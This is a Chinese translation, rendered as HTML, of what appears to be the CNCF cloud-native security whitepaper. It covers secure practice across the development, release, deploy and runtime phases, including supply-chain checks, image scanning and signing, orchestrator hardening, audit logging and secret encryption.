&lt;p&gt;相对传统安全模型，云原生安全同样要对尽职性、完整性、信任关系以及威胁防范提供支持，在此基础之上还加入了临时性、分布式和不可变设施的现代概念。在这种快速变化的环境中，要在迭代中实现与开发 Pipeline 自动同步的安全保障才能防止迭代失败。组织必须对这些核心安全概念进行学习分析和应用，避免在应用加固和环境管理方面的落后；需要对相关的第三方执行同样的标准；并对其云功能和安全支持方面的员工进行持续的教育和培训。因为复杂性的增加和组件的复杂关系，必须通过在整个生命周期和运行环境中整合安全保障能力来制止未授权访问。强烈建议组织根据攻击框架[^2]来确认安全堆栈的覆盖面。另外组织还可以采用安全左移[^3]的方式，扩大 DevOps 的能力，在 Pipeline 执行之前、之中和之后进行持续、适用的检查，对进入生命周期的任何新东西进行校验。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;如果一个组织以战略的高度重视云原生安全的落地工作，能够在大规模情况下提供高可用、可信、韧性和冗余的应用能力，保证客户和开发者能够以他们期望的效率，安全地访问所需资源。安全是一个跨学科领域，并不能独立于开发之外，也不仅仅局限在技术范畴。开发、运维和安全人员都必须紧密交流和协作，推动该领域的持续进步。与任何技术创新一样，真正使社区和云原生安全成为可能的是人。&lt;/p&gt;

&lt;h1 id=&#34;简介&#34;&gt;简介&lt;/h1&gt;

&lt;p&gt;本文尝试让组织及其技术领导者能够清晰地理解云原生，从而能够将其纳入原有生命周期，并确定其应用方式。云原生安全是一个覆盖多个专业技术和实践领域的多目标、多约束的问题空间。在初期运维过程中有很多工作都和安全领域重叠，例如身份管理和存储方案。然而云原生安全的覆盖面远不止于此，它还是一个关系到人本身的问题空间，其中包含了个人、团队以及组织。它是一种机制和流程，人类和系统借此进行交互，对云原生应用和技术造成深远影响。&lt;/p&gt;

&lt;h2 id=&#34;目标读者&#34;&gt;目标读者&lt;/h2&gt;

&lt;p&gt;我们的目标读者是希望交付安全云原生技术生态的企业、政府机构以及非营利组织的首席安全观(CSO)、首席信息安全观 (CISO) 或者 首席技术官 (CTO) 。其它的组织利益相关方，包括负责设计实现安全云原生产品和服务的项目经理、产品经理和架构师。当然其他对云原生安全有兴趣的人也都可以参考本文。&lt;/p&gt;

&lt;h2 id=&#34;云原生的目标&#34;&gt;云原生的目标&lt;/h2&gt;

&lt;p&gt;包括容器和微服务架构在内的新技术的采用和创新带来了新的挑战。现代组织中，安全需求的优先级已经大幅提升。围绕云原生技术的加速创新，威胁范围也在扩大。安全领导者要负责保护人力[^4]和非人力的资产，要在满足严格合规性要求的同时，采取措施来预防、检测和对应安全问题。一个老生常谈的埋怨就是，安全措施降低了 DevOps 团队的速度和敏捷性。因此安全领导层必须（和 DevOps 团队）进行更紧密的合作并增进双方的理解，让 DevOps 团队也能同样共享网络风险方面的所有权。&lt;/p&gt;

&lt;p&gt;企业需要采用的安全云原生模式和架构必须进行分享，确保业界能够用更高优先级来实施安全实践，并将其集成到现代应用生命周期之中。强调安全架构和安全行业领导者的协同作用，并在漏洞管理、零信任、云安全和 DevSecOps 等方面调整组织的架构目标，这是当务之急。&lt;/p&gt;

&lt;p&gt;本文中的概念是具备普遍性的，并不偏向于特定的组件或者服务。&lt;/p&gt;

&lt;p&gt;但是这里并不会对安全和云原生方面的基本概念进行扫盲，也不会推荐特定的技术和工具，当然，叙述过程中可能会使用一些相关工具被列举在相关专题中，或者进行示例。&lt;/p&gt;

&lt;p&gt;除了本文中的建议之外，与数据和隐私保护（例如 GDPR、PCI DSS）的相关内容需要额外的监管相关的方面进行考虑。建议读者另行寻找相关咨询资源对这方面的技术控制和合规风险提供支持。&lt;/p&gt;

&lt;h2 id=&#34;假设&#34;&gt;假设&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;https://www.cncf.io/&#34; target=&#34;_blank&#34;&gt;CNCF&lt;/a&gt; 在 CNCF 技术监督委员会（TOC）的 GitHub 仓库中提供了&lt;a href=&#34;https://github.com/cncf/toc/blob/master/DEFINITION.md&#34; target=&#34;_blank&#34;&gt;云原生&lt;/a&gt;的定义。本文不会改变这一定义或对其进行扩展。&lt;/p&gt;

&lt;p&gt;云原生的落地和现代软件开发方法论都在持续演进之中。构成云原生技术栈的技术也会随着时间的推移不断变化。&lt;a href=&#34;https://landscape.cncf.io/&#34; target=&#34;_blank&#34;&gt;云原生 Landscape&lt;/a&gt; 中会持续支持这个不断变化的技术栈。&lt;/p&gt;

&lt;p&gt;本文中出现的工作负载这个词，代表已经或者将要开发、运维、发布以及部署到基于云的运行时环境的任何产品、项目、应用或者系统。&lt;/p&gt;

&lt;h1 id=&#34;云原生的层次&#34;&gt;云原生的层次&lt;/h1&gt;

&lt;p&gt;&lt;img src=&#34;RackMultipart20201111_figure1.png&#34; alt=&#34;Figure 1&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;图 1&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;云原生技术栈由基础、环境和生命周期构成。云原生技术栈可能用不同的模型（例如 IaaS、PaaS、CaaS 或者 FaaS）进行部署。每一种模型都提供了各自的抽象，以此来简化云原生环境的管理和运维。这些模型中有一些是已经广为人知并被广泛采用，我们会聚焦在云原生特有的模型上。&lt;/p&gt;

&lt;p&gt;CaaS（容器即服务）模型让用户通过基于容器的虚拟化平台及其 API 或者 Web 管理界面对容器、应用和集群进行编排和其它管理工作。CaaS 帮助用户构建容器化应用，其中内置以代码方式表达的安全策略，这些应用能运行在私有云、自建数据中心和公有云上。CaaS 有助于简化容器的构建过程。有了微服务的编排和部署，CaaS 帮助企业更快地发布软件，并且具备在混合云、多云环境下的移植性，同时还降低了基础设施和运维成本。CaaS 模型之所以能节约成本，是因为它能够帮助企业简化容器管理，并给企业仅为实际的 CaaS 需求买单的选择。CaaS 以容器为基础资源，而 IaaS 环境中的基础资源则是虚拟机和裸金属。&lt;/p&gt;

&lt;p&gt;FaaS（功能即服务）是另一种云原生部署模型，它是一种云原生服务的形态，让企业用户能够根据事件来触发代码的执行，避免了构建运行微服务的复杂的基础设施管理工作。在云上运行应用通常提供虚拟环境，管理操作系统和 Web 组件等。有了 FaaS 之后，物理硬件、寻积极操作系统以及 Web 服务器软件管理都由云服务提供商自动支持。这样一来，用户就能专注于单独的微服务功能代码，并且只需要向云服务商用弹性的方式支付资源的实际使用费用。&lt;/p&gt;

&lt;h2 id=&#34;生命周期-1&#34;&gt;生命周期&lt;/h2&gt;

&lt;p&gt;云原生语境下的&lt;strong&gt;生命周期&lt;/strong&gt;指的是在云环境下，帮助实现有韧性、可管理、可观测的工作负载的技术和实践。如图一所示，生命周期由四个持续阶段构成：开发、发布、部署和运行时。每个阶段都是前一个阶段的扩展和放大，同实要放行安全工作负载的运行，并提供相应支持。&lt;/p&gt;

&lt;h3 id=&#34;生命周期过程&#34;&gt;生命周期过程&lt;/h3&gt;

&lt;p&gt;对于安全实现来说，供应链的管理和合适的安全基线是非常重要的。&lt;/p&gt;

&lt;h4 id=&#34;供应链&#34;&gt;供应链&lt;/h4&gt;

&lt;p&gt;组织有责任确保它们开发的工作负载的供应链能够接受可操作的安全分析。供应链安全可以分为两个部分：为创建工作负载供应支撑环境的服务和工具（开发工具）的安全，以及组成工作负载的组件（例如库、依赖和镜像）的安全。供应链必须以能够接受检查的方式来构建，软件供应链输出的制品也应该能够使用签署的方式确认来源。为保障依赖项的正常运行并阻止可能的破坏行为，对第三方包的真实性和完整性进行校验非常必要。&lt;/p&gt;

&lt;p&gt;云原生应用的一个显著特征就是软件复用，这些软件可能以软件包或容器镜像的方式，通过开源仓库进行构建和分发。正因如此，对于开发、运维和安全人员来说，确保应用中的制品和依赖不包含已知的恶意软件和缺陷是个必要工作。容器镜像可能包含的恶意软件，很明显会威胁到运行时环境[^5]。在持续集成过程中和容器仓库中进行周期性扫描和按需扫描能够有效防范这些问题。&lt;/p&gt;

&lt;p&gt;使用这些手段实现可检测的、安全的软件发布和运维操作。在工作负载的产生过程中进行威胁检测让组织能够快速向开发团队进行反馈，并阻止不安全的或有漏洞的更新被发布和部署。对现存软件进行周期性的扫描，能够发现新公布的问题，从而避免其造成危害。&lt;/p&gt;

&lt;h4 id=&#34;安全基准&#34;&gt;安全基准&lt;/h4&gt;

&lt;p&gt;安全基准（例如 &lt;a href=&#34;https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-190.pdf&#34; target=&#34;_blank&#34;&gt;NIST Application Security Container Guide&lt;/a&gt;、 &lt;a href=&#34;https://www.cisecurity.org/&#34; target=&#34;_blank&#34;&gt;Center for Internet Security (CIS)&lt;/a&gt;, &lt;a href=&#34;https://csrc.nist.gov/publications/detail/sp/800-204/final&#34; target=&#34;_blank&#34;&gt;NIST Security Strategies for microservices&lt;/a&gt; 以及 &lt;a href=&#34;https://www.open-scap.org/&#34; target=&#34;_blank&#34;&gt;OpenSCAP&lt;/a&gt;）为开发团队和组织提供了创建“缺省即安全”的工作负载的指引。采纳并实现这些安全标准，让团队能够基于加固的基线进行测试。然而这些基准无法深入数据流，也无法干涉平台的用法。因此这些内容应该作为一个指南，而非检查表。&lt;/p&gt;

&lt;p&gt;接下来的几节将详细分析在整个应用程序生命周期中集成安全的意义、工具、机制和最佳实践。&lt;/p&gt;

&lt;h3 id=&#34;开发-1&#34;&gt;开发&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;RackMultipart20201111_figure2.png&#34; alt=&#34;Figure 2&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;图 2&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;云原生应用的安全需要体现在应用的整个生命周期之中。开发环境是这个周期的第一个环节，这个环节输出的是制品，例如 IaaS、应用和容器清单等，这些制品会被用于云原生应用的部署和配置。经验表明，这些制品会是多种攻击的来源。接下来的内容会介绍这个阶段里需要介绍多种工具、流程和检查过程，以此减少运行时应用程序的攻击面。&lt;/p&gt;

&lt;h4 id=&#34;开发过程中的安全检查&#34;&gt;开发过程中的安全检查&lt;/h4&gt;

&lt;p&gt;在应用开发过程中的安全加固是一个重要环节。安全需求也是需求的一部分，应该尽早在软件开发过程中进行引入。安全需求通常是围绕业务的风险和合规性进行的。这些需求如果不在早期进行处理，而是在生命周期的后续才开始进行的话，就会拖慢 DevOps 过程，提高总体成本。DevOps 团队还需要使用专门工具在这些应用的部署之前对危险配置和漏洞进行检测。这些工具应该无缝集成到 DevOps 团队现有的熟悉的工作链之中，在不阻碍敏捷性的同时，提高安全性。例如可以在开发 IDE 中或者创建 PR 的时候对 IaaS 模板以及应用清单文件进行扫描，并生成丰富的上下文相关的安全信息，开发团队就能够尽早、迅速、轻松地采取行动。加入这些步骤后能够避免已知漏洞和高危配置。云原生组件应该是 API 驱动的，被编排的业务应用能够和复杂的调试工具进行交付。&lt;/p&gt;

&lt;p&gt;团队应该部署独立的开发、测试和生产环境，从而为应用开发者提供隔离的设施，对基础镜像、容器、应用、虚拟机镜像以及进行开发、测试和部署。有些组织可能已经在尝试金丝雀部署和蓝绿部署。以及其他部署模型在现场进行动态和交互测试，以此进一步提高效率。&lt;/p&gt;

&lt;h4 id=&#34;测试方案的开发&#34;&gt;测试方案的开发&lt;/h4&gt;

&lt;p&gt;开发、运维和安全人员应该为关键业务、有高威特征、变化频繁或具有历史问题的代码和基础设施建立测试方案。威胁建模可以识别高风险和高影响的代码热点，提高开发测试的投资回报率（ROI）。测试对象可以包括部署、操作系统、基础设施和数据库加固、应用测试（静态和动态源码测试、容器配置）、集成或系统测试（应用程序和基础设施组件及其交互的验收）和冒烟测试（针对实时系统的部署后检查）。测试作者应该能够全面地访问开发和测试环境，从而能够快速地开发测试方案，同时减少持续集成（CI）反馈循环次数。作者应该能在本地和共享测试环境中运行系统测试套件。&lt;/p&gt;

&lt;h4 id=&#34;代码评审&#34;&gt;代码评审&lt;/h4&gt;

&lt;p&gt;对工作负载或基础设施的细微变更可能引发意料之外的安全问题。为减少风险，建议合并 PR 之前应用&lt;a href=&#34;https://www.unido.org/overview/member-states/change-management/faq/what-four-eyes-principle&#34; target=&#34;_blank&#34;&gt;四眼原则&lt;/a&gt;进行评审。&lt;/p&gt;

&lt;h3 id=&#34;发布-1&#34;&gt;发布&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;RackMultipart20201111_figure3.png&#34; alt=&#34;Figure 3&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;图 3&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;这个阶段会使用镜像定义和规范来构建后续步骤的制品，例如容器镜像、虚拟机镜像等。在现代 CI/CD 语境下，发布阶段中包含了系统性的应用测试，以此识别软件中的 Bug 和故障。然而对开源软件和包的复用，有可能会把安全威胁引入到制品之中。为了防止这种情况，需要对制品进行扫描，并验证其完整性，防止发生篡改。后续内容会为开发和运维人员介绍识别和保护容器镜像、CI/CD 流水线的工具、技术以及基础设施。还可以对制品进行加密来满足额外的保密需求。&lt;/p&gt;

&lt;p&gt;如果遭遇泄密等问题导致制品不可信，应对密钥进行更换并重新签署。&lt;/p&gt;

&lt;h4 id=&#34;构建流水线&#34;&gt;构建流水线&lt;/h4&gt;

&lt;p&gt;不同安全级别和敏感性的项目，应对 CI 服务器应进行分别的隔离和保护。需要提权的基础设施构建应在专用的持续构建服务上运行。编排器应该为流水线创建和执行构建策略。&lt;/p&gt;

&lt;p&gt;供应链工具可以对流水线的元数据进行搜集和签名。后续步骤能够对签名进行检查，并借此确信前面的步骤已经完成。&lt;/p&gt;

&lt;p&gt;读者要确保 CI/CD 设施的安全。例如及时进行安全更新，并通过硬件安全模块或者凭据管理器对密钥进行保护，防止泄露。&lt;/p&gt;

&lt;h4 id=&#34;镜像扫描&#34;&gt;镜像扫描&lt;/h4&gt;

&lt;p&gt;镜像扫描是应用镜像生命周期中的重要步骤。在把镜像部署到生产环境之前对其进行扫描是非常必要的。具备了这一能力之后，开发、运维和安全人员就能够获知已知问题的详细信息例如严重性、&lt;a href=&#34;https://nvd.nist.gov/vuln-metrics/cvss&#34; target=&#34;_blank&#34;&gt;CVSS&lt;/a&gt; 评级以及对应的补救和修复措施。将容器漏洞扫描和流水线的合规规则结合在一起，能够确保仅有打过合适补丁的应用能够部署到生产环境，从而降低攻击风险。容器扫描还能帮助识别开源软件包和基础镜像中可能存在的恶意软件。镜像扫描仅是对现状的识别而非预防措施。组织需要谨慎选择扫描工具、在合理的环节中进行调用，在合乎规则的情况下，提供可操作的输出信息。&lt;/p&gt;

&lt;h4 id=&#34;镜像加固&#34;&gt;镜像加固&lt;/h4&gt;

&lt;p&gt;容器镜像是构建管道的第一次输出。因此必须对其进行安全加固，加固过程不仅需要考虑降低威胁，还要为整体环境下的应用运行提供可配置的能力。&lt;/p&gt;

&lt;p&gt;需要在安全保障目标中评估以下几个问题：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;执行环境应该限制到特定用户么？&lt;/li&gt;
&lt;li&gt;资源访问应该受限么？&lt;/li&gt;
&lt;li&gt;需要在内核级对进程执行做限制么？&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;容易应用清单扫描&#34;&gt;容易应用清单扫描&lt;/h4&gt;

&lt;p&gt;应用清单描述了部署容器化应用所需的配置。正如在安全基准部分介绍的那样，&lt;a href=&#34;https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-190.pdf&#34; target=&#34;_blank&#34;&gt;NIST 800-190&lt;/a&gt; 之类的材料中推荐了容器化应用的最佳安全实践和配置。可以在 CI/CD 中对清单进行必要的扫描。&lt;/p&gt;

&lt;h4 id=&#34;容器化应用清单的加固&#34;&gt;容器化应用清单的加固&lt;/h4&gt;

&lt;p&gt;和容器镜像类似，容器应用清单的加密也可以在构建和运行时进行。&lt;/p&gt;

&lt;p&gt;需要在安全保障目标中评估以下几个问题：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;满足环境运行目标的最小化限制是什么样的？&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;测试&#34;&gt;测试&lt;/h4&gt;

&lt;p&gt;云原生应用应该适用于传统应用相同的测试套件和质量标准——例如代码清洁、[测试金字塔]()[(&lt;a href=&#34;https://martinfowler.com/articles/practical-test-pyramid.html]，为开发人员提供测试所需完整的基础设施，通过静态安全扫描（SAST）、依赖分析和扫描、动态应用安全测试（DAST）（例如&#34; target=&#34;_blank&#34;&gt;https://martinfowler.com/articles/practical-test-pyramid.html]，为开发人员提供测试所需完整的基础设施，通过静态安全扫描（SAST）、依赖分析和扫描、动态应用安全测试（DAST）（例如&lt;/a&gt; Mocking）等，为安全和合规提供实时的保障能力。&lt;/p&gt;

&lt;p&gt;确定了安全问题之后（例如错误的防火墙或路由规则），进行根本原因分析之后，如果认为它有可能重复发生的话，开发人员就应该编写一个自动化测试，防止问题卷土重来。在测试失败时，团队应该收到反馈，改正 bug，试图在下一次合并中通过测试。（有效的测试）能够防范对同一段代码的变更造成的问题复现。&lt;/p&gt;

&lt;p&gt;基础设施的单元测试是预防性措施，测试目标是基础设施即代码（IaC）配置中涉及的实体和输入项。针对现存基础设施的安全测试是一种检测性控制，并包含了保障、历史回归和意外配置检测（例如防火墙规则全面开放、过度授权的身份与访问管理（IAM）策略、未认证的端点）等内容。&lt;/p&gt;

&lt;p&gt;基础设施和工作负载的加固应得到全面测试套件的支持，随着系统的成熟，基础设施和工作负载也能得到逐步加固。在构建过程中应该有对加固项目的测试，这些检查也应该在部署时执行，以评估整个生命周期中可能发生的变化或回归。&lt;/p&gt;

&lt;h5 id=&#34;静态分析和安全测试&#34;&gt;静态分析和安全测试&lt;/h5&gt;

&lt;p&gt;IaC 和应用清单、软件代码以及 IaC 的静态分析过程可能包括对错误配置的识别和漏洞扫描。IaC 代码应该和应用工作负载使用同样的流水线策略控制。&lt;/p&gt;

&lt;p&gt;IaC 日益流行，越来越多组织使用这种方式来进行云和容器基础设施的部署，所以要警惕其配置问题可能暴露的攻击面。&lt;/p&gt;

&lt;p&gt;在进行应用和基础设施的部署之前，应该对这些模板进行扫描，发现其中的不安全配置和其它安全问题。需要着重考虑的几个方面：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;应用清单中包含的漏洞镜像。&lt;/li&gt;
&lt;li&gt;一些不当配置（例如允许特权逃逸）。&lt;/li&gt;
&lt;li&gt;安全上下文和系统调用可能对系统产生威胁。&lt;/li&gt;
&lt;li&gt;资源限制。&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&#34;动态分析&#34;&gt;动态分析&lt;/h5&gt;

&lt;p&gt;对已部署的基础设施进行动态分析，可能包含 RBAC 和 IAM 配置的检查，对网络暴露面的校验。确认 SOC 能够在各个环境中生效。动态分析也应该是测试的一环，应该在非生产环境中运行。&lt;/p&gt;

&lt;h5 id=&#34;安全测试&#34;&gt;安全测试&lt;/h5&gt;

&lt;p&gt;对应用程序进行自动的安全测试是安全团队的工作焦点之一。测试套件需要进行持续更新，和组织入侵模型一致，能够对系统进行持续的可复用的安全测试。自动化的安全测试避免了人工的检查点控制，降低了时间消耗，提高了安全性和发布效率；自动化安全测试还能够显式的执行安全威胁来按需展示控制能力，从而提高系统安全性，并保持合规性。&lt;/p&gt;

&lt;h4 id=&#34;制品和镜像&#34;&gt;制品和镜像&lt;/h4&gt;

&lt;h5 id=&#34;仓库&#34;&gt;仓库&lt;/h5&gt;

&lt;p&gt;开源组件经常是从公共源中拉取的，组织应在管线中为各个阶段创建仓库。只有认证的开发者能够访问共有仓库，拉取基础镜像，基础镜像被保存到内部仓库，被组织中的团队大量使用。不同的团队或小组应该使用独立的私有仓库来保存各自的开发中的制品，最后一个 Staging 或预生产仓库用于保存用在生产环境里的镜像。 这中措施能更严格地控制开源组件的出处和安全性，同时可以对 CI/CD 链的各个阶段进行不同类型的测试。&lt;/p&gt;

&lt;p&gt;不管是什么仓库，都必须通过专门的认证和权限模型实施访问控制。对所有的连接都应使用双向 TLS。&lt;/p&gt;

&lt;h5 id=&#34;签名-信任和完整性&#34;&gt;签名、信任和完整性&lt;/h5&gt;

&lt;p&gt;在构建时对镜像内容进行签名，在使用前对签名进行校验，能够保证镜像数据在构建和部署之间不会被篡改，这样就保证了制品的完整性和可信性。确认过程首先要表明一个制品是经过审批的，还要验证制品是否具有有效的签名。在最简单的情况下，每个制品都可以由一个签名者签名，表明制品通过了测试和验证过程。然而多数情况下的软件供应链是比较复杂的，一个制品的构建依赖于多个验证步骤，因此需要有一组实体的认证。这方面的例子有：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;容器镜像签名：对容器镜像清单进行签名的过程。&lt;/li&gt;
&lt;li&gt;配置签名：对配置文件进行签名：GitOps 方式中很常见，能够对配置进行检查和验证。&lt;/li&gt;
&lt;li&gt;包签名：对一个制品包进行签名。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;对于通用软件工件，如库或 OCI 制品，签名表示它们的来源是经组织批准使用的。制品的签名和验证非常重要。强烈建议仓库使用双向认证，对仓库中镜像的变更或者提交代码都需要进行认证。&lt;/p&gt;

&lt;h5 id=&#34;加密&#34;&gt;加密&lt;/h5&gt;

&lt;p&gt;对容器镜像进行加密，可以保证其数据的机密性，从构建阶段到运行阶段，数据都是保密的。即使发布过程受损，镜像内容仍然是保密的。这种机制可以用于保护交易密文或者其它机密材料。&lt;/p&gt;

&lt;p&gt;镜像加密的还有一个使用场景就是对容器镜像进行授权。当镜像加密与密钥管理和/或授权和凭证分发相结合时，可以要求容器映像只能在特定平台上运行。容器镜像授权对于合规性使用案例非常有用，例如地理围栏或出口控制和数字版权媒体管理。&lt;/p&gt;

&lt;h3 id=&#34;部署-1&#34;&gt;部署&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;RackMultipart20201111_figure4.png&#34; alt=&#34;Figure 4&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;图 4&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The &amp;ldquo;Deploy&amp;rdquo; phase is responsible for incorporating a sequence of &amp;lsquo;pre-flight&amp;rsquo; checks in order to ensure that the applications that are going to be deployed in the runtime environment conform and comply with organization wide security and compliance policies.&lt;/p&gt;

&lt;h4 id=&#34;部署前置检查&#34;&gt;部署前置检查&lt;/h4&gt;

&lt;p&gt;部署之前应该对现状进行调研，检查以下状态：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;镜像签名和完整性。&lt;/li&gt;
&lt;li&gt;镜像的运行时策略（避免恶意软件和严重缺陷）&lt;/li&gt;
&lt;li&gt;容器运行时策略（例如避免权限过高）&lt;/li&gt;
&lt;li&gt;主机漏洞和合规控制。&lt;/li&gt;
&lt;li&gt;工作负载、应用和网络安全策略。&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;可观察性和指标&#34;&gt;可观察性和指标&lt;/h4&gt;

&lt;p&gt;把可观察性和指标引入云原生架构，能够提高安全方面的观察力，有助于解决和缓解异常情况；这个领域的工具能够收集信息并进行可视化展示。如果加入行为和启发式分析能力，团队能够检测到可疑事件、不明调用等异常行为并进行上报。AI、机器学习以及统计模型都是促进行为分析和启发式分析的手段。&lt;/p&gt;

&lt;h4 id=&#34;应对和调查&#34;&gt;应对和调查&lt;/h4&gt;

&lt;p&gt;应用应该提供日志，对认证、鉴权、行为和故障进行记录。开发人员应该在计划和设计阶段就开始这些工作。这些要素构成的证据链条，对于进行调查和根本原因跟踪时会非常有帮助。&lt;/p&gt;

&lt;p&gt;对事故的应对和处理都需要进行取证，根据证据确定事件的根本原因，并为解决措施的实施提供反馈。容器环境的短暂性要求更灵活的工具集来对证据进行捕获和分析。将取证功能集成到事件响应计划和程序中，将提供获取和处理证据的方法，缩短确定根本原因的时间，并最大限度地减少损害风险。&lt;/p&gt;

&lt;h2 id=&#34;运行时环境&#34;&gt;运行时环境&lt;/h2&gt;

&lt;p&gt;&lt;img src=&#34;RackMultipart20201111_figure5.png&#34; alt=&#34;Figure 5&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;图 5&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;运行时阶段包括三个关键领域：计算、访问和存储。虽说运行时环境是依赖开发、发布和部署阶段的成功完成，但运行时的安全性同样取决于前几个阶段的安全实践的有效性。以下各段将详细介绍这些关键组件的安全要求和影响。&lt;/p&gt;

&lt;h3 id=&#34;计算&#34;&gt;计算&lt;/h3&gt;

&lt;p&gt;云原生计算的复杂性很高，并且还在持续演进之中。如果核心组件没有动用计算能力，组织就无法确保工作负载的安全。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cloud native compute is a highly complex and continually evolving construct. Without core components to make compute utilization occur, organizations cannot ensure workloads are secure.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;例如在共享主机上，用软件虚拟化环境运行的容器化多租户应用，这里使用面向容器的操作系统是非常有益的，这种操作系统是只读的，无关服务会被禁用。这样就很好地减小了攻击面；它还提供了隔离和资源限制，开发人员能够在共享主机内核上运行隔离的应用程序。为了增加防御纵深，注意不要让不同的数据敏感工作负载运行在同一个操作系统内核上。&lt;/p&gt;

&lt;p&gt;安全应该贯穿容器平台和服务的所有层级，可以使用可信平台模块（TPM）或虚拟TPM（vTPM）硬件作为信任链的根基。基于硬件的信任链可以扩展到操作系统内核及其组件，以实现可信启动、系统镜像、容器运行时和容器镜像等的加密验证。&lt;/p&gt;

&lt;p&gt;操作系统提供了 crypto 库之类的系统组件，用于远程连接、进程启动、管理等的内核函数。操作系统是容器的基础，因此操作系统漏洞会影响到这些主机上运行的所有容器和应用。同时配置不当的容器也会影响到主机内核的安全，从而影响到该主机上运行的所有容器中的服务。&lt;/p&gt;

&lt;h4 id=&#34;编排&#34;&gt;编排&lt;/h4&gt;

&lt;p&gt;任何编排系统都会有很多组件，这些组件被分成控制、数据之类的不同平面。有时会需要有上层建筑，负责在几个不同的的相互独立的控制平面上维持状态。&lt;/p&gt;

&lt;p&gt;编排系统都会面对威胁，这些威胁可能影响部署的整体安全性和运行时的持续安全性。恶意访问编排 API、未经授权访问和更改键值存储、编排器仪表板控制集群、拦截控制平面流量、API 滥用、拦截应用流量等都是潜在的威胁领域。使用最佳实践和加固配置来防止暴露在这些威胁中是很重要的[^7]。另外，对初始配置的任何更改都需要在运行时进行监控和检测，以确保集群的持续安全。其他的安全最佳实践，如最小化对控制平面的管理访问、职责分离和最小特权原则等，都应该得到执行。&lt;/p&gt;

&lt;h5 id=&#34;安全策略&#34;&gt;安全策略&lt;/h5&gt;

&lt;p&gt;编排器的安全特性和各种配置选项必须认真对待，要对容器运行时所生成的容器的特权需要严加管控。使用高层次的策略和治理构造可以强制执行这些安全限制。&lt;/p&gt;

&lt;h5 id=&#34;资源申请和限制&#34;&gt;资源申请和限制&lt;/h5&gt;

&lt;p&gt;通过 cgroups 在不同的对象层级使用不同的资源请求和限制，有助于防止工作负载有意（如 Fork 炸弹攻击或挖矿）或无意（如在内存中读取大文件而未进行输入验证、水平自动缩放导致计算资源耗尽）的耗尽节点和集群资源。&lt;/p&gt;

&lt;h6 id=&#34;审计日志分析&#34;&gt;审计日志分析&lt;/h6&gt;

&lt;p&gt;审计日志分析是识别和关联系统入侵、滥用或配置不当的最成熟方法之一。持续的地、自动化德对审计日志进行分析和关联，对于安全团队来说至关重要。和传统应用对比，云原生架构能够为工作负载生成更精细的审计配置，更方便进行过滤。对日志的过滤能力， 能够避免下游处理机制的过载。与传统的日志分析一样，将日志中的数据关联/上下文转化为 &amp;ldquo;信息&amp;rdquo;，生成可操作的审计事件是重中之重，一次为基础来触发决策和进行事件响应。&lt;/p&gt;

&lt;p&gt;违反组织政策的行为，会根据预先配置的一套规则进行过滤和识别。&lt;/p&gt;

&lt;p&gt;为了能够对使用集群的实体的行为进行审计，启用 API 审计并对特定 API 或者动词进行过滤是很重要的。这些API 组或动词是安全团队、集群管理员或其他研究领域的团队的工作重心之一。攻击者可能会通过禁用日志或删除其活动日志来掩盖踪迹，为了制止这种行为，应尽快将日志转发到通过集群级凭证无法访问的位置。处理警报的系统应定期对假阳性报告进行调整，以避免警报泛滥、疲劳，并防止假阴性情况的出现。&lt;/p&gt;

&lt;h5 id=&#34;控制平面认证和根证书&#34;&gt;控制平面认证和根证书&lt;/h5&gt;

&lt;p&gt;管理员应该配置所有的编排器控制平面组件，要求其使用双向认证，并且用周期性轮转的证书来进行认证，以此加固现有的控制平面。证书签发使用的 CA 可以是编排器自己的 CA，也可以是外部的。管理员应小心保护 CA 私钥。&lt;/p&gt;

&lt;h5 id=&#34;secret-加密&#34;&gt;Secret 加密&lt;/h5&gt;

&lt;p&gt;在容器编排或者部署环境中，可以在外部管理器或者编排器内部对 Secret 进行管理，介绍几个不同的保护方法：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;使用外部密钥管理系统（KMS）加密

&lt;ul&gt;
&lt;li&gt;KMS 是一种保护 Secret 的安全方式，这种方式中，密钥在外部 KMS 中加密，KMS 回家米保存 DEK（Data Encryption Key），用 DEK 加密后的数据保存在 ETCD 中。这种方式有一个选项是把 DEK 缓存在内存中，减少对外部 KMS 可用性的依赖，并更快的在创建 Pod 的时候进行解密。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;完全用编排器管理加密

&lt;ul&gt;
&lt;li&gt;这种方式也会对 Secret 进行加密，但是密钥也同样由编排器管理。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;不加密

&lt;ul&gt;
&lt;li&gt;例如某些编排器会用 Base64 对 Secret 进行编码，然后直接存储在键值库中。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

